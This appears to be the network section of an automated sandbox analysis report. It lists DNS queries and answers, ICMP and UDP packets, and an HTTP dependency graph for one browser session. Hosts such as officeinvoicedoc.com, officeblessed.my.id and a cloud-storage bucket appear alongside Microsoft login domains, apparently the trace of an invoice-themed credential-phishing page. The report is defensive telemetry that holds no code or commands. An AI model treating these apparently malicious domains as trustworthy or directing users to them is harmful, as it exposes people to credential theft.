Aug 28, 2024 13:52:33.779330015 CEST	52231	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:33.779584885 CEST	54801	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:33.794291973 CEST	53	52231	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:33.803693056 CEST	53	59129	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:33.824721098 CEST	53	54801	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:34.649559021 CEST	56516	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:34.649724960 CEST	51826	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:34.659245014 CEST	53	51826	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:34.772938967 CEST	53	49616	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:34.818305969 CEST	53	56516	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:35.505312920 CEST	61144	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:35.505640984 CEST	56240	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:35.512171984 CEST	53	61144	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:35.513509989 CEST	53	56240	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:36.807528019 CEST	61049	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:36.807924986 CEST	55934	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:36.815007925 CEST	53	55934	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:36.815675974 CEST	53	61049	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:36.827970982 CEST	59753	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:36.828331947 CEST	64408	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:36.834922075 CEST	53	64408	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:36.835589886 CEST	53	59753	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:38.572938919 CEST	54187	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:38.573302984 CEST	59210	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:38.579730034 CEST	53	54187	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:38.579879045 CEST	53	59210	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:39.164006948 CEST	62902	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:39.164134979 CEST	58528	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:39.170852900 CEST	53	58528	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:39.170922995 CEST	53	62902	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:51.783592939 CEST	53	51744	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.176388979 CEST	58357	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.176477909 CEST	51580	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.176884890 CEST	51922	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.177051067 CEST	64314	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.177422047 CEST	64695	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.177601099 CEST	63146	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.178881884 CEST	64945	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.179075956 CEST	53246	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.179521084 CEST	62141	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.179716110 CEST	49902	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.183216095 CEST	53	58357	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.183803082 CEST	53	64314	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.184252024 CEST	53	64695	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.184263945 CEST	53	63146	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.188776016 CEST	53	51922	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.188812017 CEST	53	51580	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.188822985 CEST	53	57590	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.188833952 CEST	53	53246	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.188843012 CEST	53	64945	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.350358963 CEST	53	49902	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.508383989 CEST	53	62141	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.904930115 CEST	52323	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.905061960 CEST	59265	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.912662029 CEST	53	52323	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.913414001 CEST	53	59265	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.926407099 CEST	53961	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.926597118 CEST	64653	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.936754942 CEST	53	53961	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.936880112 CEST	53	64653	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.960958004 CEST	61360	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.961143970 CEST	61904	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.972912073 CEST	53	61360	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.973490000 CEST	53	61904	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.988354921 CEST	59098	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.988506079 CEST	64752	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:52.998886108 CEST	53	59098	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:52.998898029 CEST	53	64752	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:53.330343008 CEST	53	56607	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:54.110975027 CEST	51698	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:54.111098051 CEST	52079	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:54.115315914 CEST	56052	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:54.115555048 CEST	63113	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:54.268646955 CEST	53	52079	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:54.432787895 CEST	53	51698	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:54.629414082 CEST	53	56052	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:54.640851974 CEST	53	63113	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:56.403623104 CEST	55619	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:56.403820038 CEST	61749	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:56.896640062 CEST	53	61749	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:56.938385010 CEST	53	55619	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:59.433598042 CEST	51086	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:59.433782101 CEST	56908	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:52:59.440535069 CEST	53	51086	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:59.441495895 CEST	53	56908	1.1.1.1	192.168.2.16
Aug 28, 2024 13:52:59.549268961 CEST	53	64636	1.1.1.1	192.168.2.16
Aug 28, 2024 13:53:00.496041059 CEST	64216	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:53:00.496198893 CEST	60724	53	192.168.2.16	1.1.1.1
Aug 28, 2024 13:53:00.502929926 CEST	53	64216	1.1.1.1	192.168.2.16
Aug 28, 2024 13:53:00.503103971 CEST	53	60724	1.1.1.1	192.168.2.16
Aug 28, 2024 13:53:10.707146883 CEST	53	50588	1.1.1.1	192.168.2.16
Aug 28, 2024 13:53:12.880095005 CEST	53	58727	1.1.1.1	192.168.2.16
Aug 28, 2024 13:53:33.324510098 CEST	53	62276	1.1.1.1	192.168.2.16
Aug 28, 2024 13:53:33.715853930 CEST	53	52101	1.1.1.1	192.168.2.16
Aug 28, 2024 13:53:40.428045034 CEST	138	138	192.168.2.16	192.168.2.255
Aug 28, 2024 13:54:02.268986940 CEST	53	64107	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Aug 28, 2024 13:52:33.824798107 CEST	192.168.2.16	1.1.1.1	c255	(Port unreachable)	Destination Unreachable
Aug 28, 2024 13:52:34.818367958 CEST	192.168.2.16	1.1.1.1	c22b	(Port unreachable)	Destination Unreachable
Aug 28, 2024 13:52:59.452290058 CEST	192.168.2.16	1.1.1.1	c2e8	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 28, 2024 13:52:33.779330015 CEST	192.168.2.16	1.1.1.1	0xb31e	Standard query (0)	zngw.officeinvoicedoc.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:33.779584885 CEST	192.168.2.16	1.1.1.1	0x6ea5	Standard query (0)	zngw.officeinvoicedoc.com	65	IN (0x0001)	false
Aug 28, 2024 13:52:34.649559021 CEST	192.168.2.16	1.1.1.1	0xe53f	Standard query (0)	zngw.officeinvoicedoc.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:34.649724960 CEST	192.168.2.16	1.1.1.1	0xde60	Standard query (0)	zngw.officeinvoicedoc.com	65	IN (0x0001)	false
Aug 28, 2024 13:52:35.505312920 CEST	192.168.2.16	1.1.1.1	0xe5f7	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:35.505640984 CEST	192.168.2.16	1.1.1.1	0x7259	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Aug 28, 2024 13:52:36.807528019 CEST	192.168.2.16	1.1.1.1	0x1e2a	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:36.807924986 CEST	192.168.2.16	1.1.1.1	0x7b08	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Aug 28, 2024 13:52:36.827970982 CEST	192.168.2.16	1.1.1.1	0x4706	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:36.828331947 CEST	192.168.2.16	1.1.1.1	0x11c9	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Aug 28, 2024 13:52:38.572938919 CEST	192.168.2.16	1.1.1.1	0x27e0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:38.573302984 CEST	192.168.2.16	1.1.1.1	0x1be8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Aug 28, 2024 13:52:39.164006948 CEST	192.168.2.16	1.1.1.1	0x658e	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:39.164134979 CEST	192.168.2.16	1.1.1.1	0x15a	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Aug 28, 2024 13:52:52.176388979 CEST	192.168.2.16	1.1.1.1	0xb3fc	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.176477909 CEST	192.168.2.16	1.1.1.1	0x84f	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Aug 28, 2024 13:52:52.176884890 CEST	192.168.2.16	1.1.1.1	0xfd39	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.177051067 CEST	192.168.2.16	1.1.1.1	0x332	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Aug 28, 2024 13:52:52.177422047 CEST	192.168.2.16	1.1.1.1	0x4622	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.177601099 CEST	192.168.2.16	1.1.1.1	0x2f42	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Aug 28, 2024 13:52:52.178881884 CEST	192.168.2.16	1.1.1.1	0x6872	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.179075956 CEST	192.168.2.16	1.1.1.1	0x89b6	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Aug 28, 2024 13:52:52.179521084 CEST	192.168.2.16	1.1.1.1	0x81d3	Standard query (0)	blessed-1323985617.cos.eu-frankfurt.myqcloud.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.179716110 CEST	192.168.2.16	1.1.1.1	0x6e38	Standard query (0)	blessed-1323985617.cos.eu-frankfurt.myqcloud.com	65	IN (0x0001)	false
Aug 28, 2024 13:52:52.904930115 CEST	192.168.2.16	1.1.1.1	0xb4cf	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.905061960 CEST	192.168.2.16	1.1.1.1	0xbf6f	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Aug 28, 2024 13:52:52.926407099 CEST	192.168.2.16	1.1.1.1	0xf44e	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.926597118 CEST	192.168.2.16	1.1.1.1	0x6de2	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Aug 28, 2024 13:52:52.960958004 CEST	192.168.2.16	1.1.1.1	0x80ab	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.961143970 CEST	192.168.2.16	1.1.1.1	0x248c	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Aug 28, 2024 13:52:52.988354921 CEST	192.168.2.16	1.1.1.1	0xcf0f	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.988506079 CEST	192.168.2.16	1.1.1.1	0x846a	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Aug 28, 2024 13:52:54.110975027 CEST	192.168.2.16	1.1.1.1	0x9f6a	Standard query (0)	blessed-1323985617.cos.eu-frankfurt.myqcloud.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:54.111098051 CEST	192.168.2.16	1.1.1.1	0x8a8a	Standard query (0)	blessed-1323985617.cos.eu-frankfurt.myqcloud.com	65	IN (0x0001)	false
Aug 28, 2024 13:52:54.115315914 CEST	192.168.2.16	1.1.1.1	0x65f5	Standard query (0)	officeblessed.my.id	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:54.115555048 CEST	192.168.2.16	1.1.1.1	0xe772	Standard query (0)	officeblessed.my.id	65	IN (0x0001)	false
Aug 28, 2024 13:52:56.403623104 CEST	192.168.2.16	1.1.1.1	0x3cb8	Standard query (0)	officeblessed.my.id	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:56.403820038 CEST	192.168.2.16	1.1.1.1	0xa5c2	Standard query (0)	officeblessed.my.id	65	IN (0x0001)	false
Aug 28, 2024 13:52:59.433598042 CEST	192.168.2.16	1.1.1.1	0xd619	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:59.433782101 CEST	192.168.2.16	1.1.1.1	0xe771	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Aug 28, 2024 13:53:00.496041059 CEST	192.168.2.16	1.1.1.1	0xed7b	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:53:00.496198893 CEST	192.168.2.16	1.1.1.1	0x74f4	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 28, 2024 13:52:33.794291973 CEST	1.1.1.1	192.168.2.16	0xb31e	No error (0)	zngw.officeinvoicedoc.com		104.26.7.122	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:33.794291973 CEST	1.1.1.1	192.168.2.16	0xb31e	No error (0)	zngw.officeinvoicedoc.com		172.67.68.109	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:33.794291973 CEST	1.1.1.1	192.168.2.16	0xb31e	No error (0)	zngw.officeinvoicedoc.com		104.26.6.122	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:33.824721098 CEST	1.1.1.1	192.168.2.16	0x6ea5	No error (0)	zngw.officeinvoicedoc.com			65	IN (0x0001)	false
Aug 28, 2024 13:52:34.659245014 CEST	1.1.1.1	192.168.2.16	0xde60	No error (0)	zngw.officeinvoicedoc.com			65	IN (0x0001)	false
Aug 28, 2024 13:52:34.818305969 CEST	1.1.1.1	192.168.2.16	0xe53f	No error (0)	zngw.officeinvoicedoc.com		104.26.7.122	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:34.818305969 CEST	1.1.1.1	192.168.2.16	0xe53f	No error (0)	zngw.officeinvoicedoc.com		104.26.6.122	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:34.818305969 CEST	1.1.1.1	192.168.2.16	0xe53f	No error (0)	zngw.officeinvoicedoc.com		172.67.68.109	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:35.512171984 CEST	1.1.1.1	192.168.2.16	0xe5f7	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:35.512171984 CEST	1.1.1.1	192.168.2.16	0xe5f7	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:35.513509989 CEST	1.1.1.1	192.168.2.16	0x7259	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Aug 28, 2024 13:52:36.815007925 CEST	1.1.1.1	192.168.2.16	0x7b08	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Aug 28, 2024 13:52:36.815675974 CEST	1.1.1.1	192.168.2.16	0x1e2a	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:36.815675974 CEST	1.1.1.1	192.168.2.16	0x1e2a	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:36.834922075 CEST	1.1.1.1	192.168.2.16	0x11c9	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Aug 28, 2024 13:52:36.835589886 CEST	1.1.1.1	192.168.2.16	0x4706	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:36.835589886 CEST	1.1.1.1	192.168.2.16	0x4706	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:38.579730034 CEST	1.1.1.1	192.168.2.16	0x27e0	No error (0)	www.google.com		142.250.185.164	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:38.579879045 CEST	1.1.1.1	192.168.2.16	0x1be8	No error (0)	www.google.com			65	IN (0x0001)	false
Aug 28, 2024 13:52:39.170922995 CEST	1.1.1.1	192.168.2.16	0x658e	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.183216095 CEST	1.1.1.1	192.168.2.16	0xb3fc	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.183216095 CEST	1.1.1.1	192.168.2.16	0xb3fc	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.183216095 CEST	1.1.1.1	192.168.2.16	0xb3fc	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.183216095 CEST	1.1.1.1	192.168.2.16	0xb3fc	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.183803082 CEST	1.1.1.1	192.168.2.16	0x332	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Aug 28, 2024 13:52:52.184252024 CEST	1.1.1.1	192.168.2.16	0x4622	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.184252024 CEST	1.1.1.1	192.168.2.16	0x4622	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.184263945 CEST	1.1.1.1	192.168.2.16	0x2f42	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Aug 28, 2024 13:52:52.188776016 CEST	1.1.1.1	192.168.2.16	0xfd39	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.188776016 CEST	1.1.1.1	192.168.2.16	0xfd39	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.188833952 CEST	1.1.1.1	192.168.2.16	0x89b6	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Aug 28, 2024 13:52:52.188843012 CEST	1.1.1.1	192.168.2.16	0x6872	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.188843012 CEST	1.1.1.1	192.168.2.16	0x6872	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.508383989 CEST	1.1.1.1	192.168.2.16	0x81d3	No error (0)	blessed-1323985617.cos.eu-frankfurt.myqcloud.com	ger.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 28, 2024 13:52:52.508383989 CEST	1.1.1.1	192.168.2.16	0x81d3	No error (0)	ger.file.myqcloud.com		162.62.150.176	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.508383989 CEST	1.1.1.1	192.168.2.16	0x81d3	No error (0)	ger.file.myqcloud.com		162.62.150.187	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.912662029 CEST	1.1.1.1	192.168.2.16	0xb4cf	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.912662029 CEST	1.1.1.1	192.168.2.16	0xb4cf	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.913414001 CEST	1.1.1.1	192.168.2.16	0xbf6f	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Aug 28, 2024 13:52:52.936754942 CEST	1.1.1.1	192.168.2.16	0xf44e	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.936754942 CEST	1.1.1.1	192.168.2.16	0xf44e	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.936754942 CEST	1.1.1.1	192.168.2.16	0xf44e	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.936754942 CEST	1.1.1.1	192.168.2.16	0xf44e	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.972912073 CEST	1.1.1.1	192.168.2.16	0x80ab	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.972912073 CEST	1.1.1.1	192.168.2.16	0x80ab	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.973490000 CEST	1.1.1.1	192.168.2.16	0x248c	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Aug 28, 2024 13:52:52.998886108 CEST	1.1.1.1	192.168.2.16	0xcf0f	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.998886108 CEST	1.1.1.1	192.168.2.16	0xcf0f	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:52.998898029 CEST	1.1.1.1	192.168.2.16	0x846a	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Aug 28, 2024 13:52:54.432787895 CEST	1.1.1.1	192.168.2.16	0x9f6a	No error (0)	blessed-1323985617.cos.eu-frankfurt.myqcloud.com	ger.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 28, 2024 13:52:54.432787895 CEST	1.1.1.1	192.168.2.16	0x9f6a	No error (0)	ger.file.myqcloud.com		162.62.150.176	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:54.432787895 CEST	1.1.1.1	192.168.2.16	0x9f6a	No error (0)	ger.file.myqcloud.com		162.62.150.187	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:54.629414082 CEST	1.1.1.1	192.168.2.16	0x65f5	No error (0)	officeblessed.my.id		162.241.71.126	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:56.938385010 CEST	1.1.1.1	192.168.2.16	0x3cb8	No error (0)	officeblessed.my.id		162.241.71.126	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:59.434870005 CEST	1.1.1.1	192.168.2.16	0xf277	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 28, 2024 13:52:59.434870005 CEST	1.1.1.1	192.168.2.16	0xf277	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:59.440535069 CEST	1.1.1.1	192.168.2.16	0xd619	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 28, 2024 13:52:59.440535069 CEST	1.1.1.1	192.168.2.16	0xd619	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 28, 2024 13:52:59.440535069 CEST	1.1.1.1	192.168.2.16	0xd619	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:52:59.441495895 CEST	1.1.1.1	192.168.2.16	0xe771	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 28, 2024 13:52:59.441495895 CEST	1.1.1.1	192.168.2.16	0xe771	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 28, 2024 13:53:00.229605913 CEST	1.1.1.1	192.168.2.16	0xf49b	No error (0)	shed.dual-low.s-part-0045.t-0009.t-msedge.net	s-part-0045.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 28, 2024 13:53:00.229605913 CEST	1.1.1.1	192.168.2.16	0xf49b	No error (0)	s-part-0045.t-0009.t-msedge.net		13.107.246.73	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:53:00.502929926 CEST	1.1.1.1	192.168.2.16	0xed7b	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 28, 2024 13:53:00.502929926 CEST	1.1.1.1	192.168.2.16	0xed7b	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 28, 2024 13:53:00.502929926 CEST	1.1.1.1	192.168.2.16	0xed7b	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Aug 28, 2024 13:53:00.503103971 CEST	1.1.1.1	192.168.2.16	0x74f4	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 28, 2024 13:53:00.503103971 CEST	1.1.1.1	192.168.2.16	0x74f4	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

zngw.officeinvoicedoc.com

https:

challenges.cloudflare.com

maxcdn.bootstrapcdn.com

code.jquery.com

cdnjs.cloudflare.com

stackpath.bootstrapcdn.com

blessed-1323985617.cos.eu-frankfurt.myqcloud.com

officeblessed.my.id

aadcdn.msauth.net

aadcdn.msftauth.net

a.nel.cloudflare.com

fs.microsoft.com

slscr.update.microsoft.com

login.live.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49704	104.26.7.122	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
